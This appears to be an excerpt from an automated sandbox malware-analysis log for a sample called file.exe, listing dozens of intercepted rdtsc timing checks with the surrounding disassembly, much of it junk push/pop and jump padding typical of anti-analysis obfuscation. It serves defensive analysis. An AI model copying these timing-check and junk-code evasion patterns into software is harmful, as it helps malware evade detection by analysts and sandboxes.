Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A062CB second address: A062D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A062D1 second address: A062EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4348BCFDEFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A062EA second address: A062FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2F9Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A047F9 second address: A047FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A047FD second address: A04809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04809 second address: A04818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348BCFDEBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04818 second address: A04855 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b jbe 00007F4348DC2F9Eh 0x00000011 jng 00007F4348DC2F96h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a jmp 00007F4348DC2FA3h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04CE3 second address: A04CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04CEC second address: A04CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04CF0 second address: A04D01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop ecx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04E4C second address: A04E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04F9E second address: A04FC1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4348BCFDE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F4348BCFDF7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04FC1 second address: A04FCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jl 00007F4348DC2F96h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04FCE second address: A04FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4348BCFDEBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A04FE0 second address: A05014 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jl 00007F4348DC2F96h 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 push ecx 0x00000014 jng 00007F4348DC2F96h 0x0000001a pop ecx 0x0000001b pushad 0x0000001c jmp 00007F4348DC2FA6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A052D1 second address: A052D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A052D5 second address: A052D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C94D second address: A0C955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C4FE second address: A0C50A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4348DC2F9Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1CD87 second address: A1CDAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F4348BCFDF9h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E9C6 second address: A1E9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jno 00007F4348DC2F96h 0x0000000c je 00007F4348DC2F96h 0x00000012 jmp 00007F4348DC2FA1h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2073D second address: A20799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348BCFDF6h 0x00000009 jmp 00007F4348BCFDEEh 0x0000000e popad 0x0000000f jmp 00007F4348BCFDF8h 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4348BCFDF4h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A20799 second address: A2079D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2079D second address: A207AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348BCFDEAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24C32 second address: A24C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24C3C second address: A24C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4348BCFDF6h 0x0000000b popad 0x0000000c jmp 00007F4348BCFDF0h 0x00000011 jng 00007F4348BCFDEEh 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B1B second address: A27B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B21 second address: A27B34 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b je 00007F4348BCFDE6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B34 second address: A27B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33B4A second address: A33B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4348BCFDEEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F4348BCFDF4h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33B76 second address: A33B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33F89 second address: A33F93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4348BCFDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33F93 second address: A33F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A33F97 second address: A33FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F4348BCFDF8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A342DF second address: A342E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38645 second address: A3864B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3864B second address: A38666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F4348DC2FA3h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38666 second address: A38681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 jmp 00007F4348BCFDF0h 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A38681 second address: A38687 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A448A4 second address: A448EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4348BCFDECh 0x0000000b jg 00007F4348BCFE16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E917 second address: A5E921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4348DC2F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E921 second address: A5E92F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F4348BCFDECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5E92F second address: A5E94B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F4348DC2FA5h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73360 second address: A73364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A720E7 second address: A72105 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4348DC2F96h 0x00000008 jc 00007F4348DC2F96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007F4348DC2FA2h 0x00000016 js 00007F4348DC2F96h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72105 second address: A72109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A723D1 second address: A723ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA7h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A723ED second address: A72412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4348BCFDE6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4348BCFDF0h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72412 second address: A72416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72416 second address: A72433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348BCFDF7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72744 second address: A7274C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7274C second address: A72752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72A50 second address: A72A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4348DC2F96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72A5C second address: A72A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72B95 second address: A72B9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72B9B second address: A72BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F4348BCFDE6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72BA7 second address: A72BD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2F9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F4348DC2FA0h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72BD1 second address: A72BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72BD9 second address: A72BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A748F1 second address: A74906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4348BCFDF0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77453 second address: A77457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77457 second address: A77469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jng 00007F4348BCFDE6h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77543 second address: A7759A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F4348DC2F98h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 0000001Dh 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 pushad 0x00000021 mov eax, 0935E78Ah 0x00000026 popad 0x00000027 push 00000004h 0x00000029 xor edx, dword ptr [ebp+122DB53Fh] 0x0000002f call 00007F4348DC2F99h 0x00000034 jmp 00007F4348DC2F9Ah 0x00000039 push eax 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d js 00007F4348DC2F96h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7759A second address: A775AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A775AC second address: A775D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f jp 00007F4348DC2F98h 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A775D6 second address: A775DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A775DD second address: A775FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push esi 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78CA3 second address: A78CB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78CB9 second address: A78CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78CBD second address: A78CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007F4348BCFDEEh 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F4348BCFDE6h 0x00000017 jg 00007F4348BCFDE6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78CE3 second address: A78CED instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4348DC2F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78CED second address: A78CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7AC44 second address: A7AC4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0291 second address: 4EB02A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4348BCFDEBh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB02A9 second address: 4EB02FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F4348DC2F9Eh 0x00000009 pop ecx 0x0000000a popad 0x0000000b pushfd 0x0000000c jmp 00007F4348DC2F9Bh 0x00000011 jmp 00007F4348DC2FA3h 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F4348DC2FA9h 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB02FF second address: 4EB0312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348BCFDEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0312 second address: 4EB034F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 01BC18AAh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F4348DC2F9Dh 0x00000016 sbb si, C826h 0x0000001b jmp 00007F4348DC2FA1h 0x00000020 popfd 0x00000021 popad 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB034F second address: 4EB0353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0353 second address: 4EB0359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB03C1 second address: 4EB044F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4348BCFDF1h 0x00000009 adc ax, 0DA6h 0x0000000e jmp 00007F4348BCFDF1h 0x00000013 popfd 0x00000014 call 00007F4348BCFDF0h 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push ebp 0x0000001e jmp 00007F4348BCFDEEh 0x00000023 mov dword ptr [esp], ebp 0x00000026 jmp 00007F4348BCFDF0h 0x0000002b mov ebp, esp 0x0000002d jmp 00007F4348BCFDF0h 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F4348BCFDF7h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99475A second address: 99475E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99475E second address: 994764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB048A second address: 4EB04AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4348DC2FA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dh, 33h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB04AA second address: 4EB04B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB04B0 second address: 4EB04B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB04B4 second address: 4EB04B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB04B8 second address: 4EB04EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F4348DC2FA9h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4348DC2F9Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB050E second address: 4EB0512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0512 second address: 4EB0518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0518 second address: 4EB051E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB051E second address: 4EB0522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
